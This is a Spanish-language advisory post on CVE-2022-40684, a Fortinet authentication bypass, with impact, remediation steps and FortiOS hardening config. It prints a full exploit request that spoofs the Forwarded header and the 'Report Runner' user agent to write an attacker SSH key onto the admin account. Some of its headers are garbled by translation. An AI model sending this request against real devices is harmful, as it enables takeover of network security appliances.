CVE-2022-40684

Dec 02 2022
Acerca de la vulnerabilidad CVE-2022-40684 es una vulnerabilidad de omisión de autenticación en algunos de los productos de Fortinet como FortiOS, Fortiproxy y FortiSwitchManager. Esto significa que, al usar esta vulnerabilidad, el atacante puede eludir la autenticación e iniciar sesión como administrador.

Acerca de la vulnerabilidad

CVE-2022-40684 es una vulnerabilidad de omisión de autenticación en algunos de los productos de Fortinet como FortiOS, Fortiproxy y FortiSwitchManager. Esto significa que, al usar esta vulnerabilidad, el atacante puede eludir la autenticación e iniciar sesión como administrador. La puntuación base para esta vulnerabilidad es 9,8, lo que la convierte en muy crítica. Antes de continuar, comprendamos qué son estos productos:

  1. FortiOS: como sugiere el nombre, FortiOS, el sistema operativo de red de Fortinet , es el corazón de la seguridad de Fortinet. Este sistema operativo es el núcleo de Security Fabric y une todos los componentes para garantizar una estrecha integración en toda la implementación de una organización.
  2. FortiProxy: es un proxy web seguro que protege a los empleados contra ataques transmitidos por Internet al incorporar múltiples técnicas de detección, como el filtrado web.
  3. FortiSwitchManager (FSWM) es la plataforma de administración local para el producto FortiSwitch . Las unidades FortiSwitch se conectan a FortiSwitch Manager a través de la red de capa 3. Puede configurar una gran cantidad de unidades FortiSwitch con esta plataforma solo de administración de FortiSwitch.

Impacto

El error permitirá que un usuario no autenticado realice una operación directamente en el panel de administración a través de algunas solicitudes HTTP/S (los métodos pueden ser GET, POST, DELETE, etc.). Tener la función de administrador puede causar algunos de los siguientes eventos:

  1. Toma el control de toda la aplicación
  2. Obtener acceso a la infraestructura interna
  3. Adición o eliminación de usuarios
  4. Exposición a datos confidenciales
  5. Modifique las claves SSH de los usuarios administradores para permitir que el atacante inicie sesión en el sistema comprometido
  6. Manipulación de diferentes archivos de configuración, etc.

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Tipo de contenido: application/json Reenviado: for=”[127.0.0.1]:8000″;by= ”[127.0.0.1]:9000 ″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58=dev@devs-MacBook-Pro.local \”” }

  • Usando el encabezado Reenviado, un atacante puede establecer client_ip en "127.0.0.1".
  • La verificación de autenticación de "acceso confiable" verifica que client_ip sea "127.0.0.1" y que el User-Agent sea "Report Runner", los cuales están bajo el control del atacante.

“Encontrar remedio es mucho más importante que encontrar una falla”

Las siguientes son algunas de las soluciones para proteger una organización de CVE-2022–40684:

  1. Actualización de los productos afectados.
    Actualice la versión de FortiOS a ≥7.2.2 y ≥7.0.7
    Actualice la versión de FortiProxy a ≥7.2.1 y ≥ 7.0.7
    Actualice la versión de FortiSwitchManager ≥7.2.1 y ≥7.0.1
  2. Deshabilite la interfaz administrativa http/https en FortiOS, FortiProxy y FortiSwitchManager.
  3. Para FortiOS, limite las direcciones IP que pueden llegar a la interfaz administrativa
  4. config firewall address
    edit "my_allowed_addresses"
    set subnet <MY IP> <MY SUBNET>
    end
    

    config firewall addrgrp
    edit "MGMT_IPs"
    set member "my_allowed_addresses"
    end
    

    config firewall local-in-policy
    edit 1
    set intf port1
    set srcaddr "MGMT_IPs"
    set dstaddr "all"
    set action accept
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    next
    edit 2
    set intf "any"
    set srcaddr "all"
    set dstaddr "all"
    set action deny
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    end
    

    config firewall service custom
    edit GUI_HTTPS
    set tcp-portrange <admin-sport>
    next
    edit GUI_HTTP
    set tcp-portrange <admin-port>
    end
    

config system interface
edit port1
set dedicated-to management
set trust-ip-1 <MY IP> <MY SUBNET>
end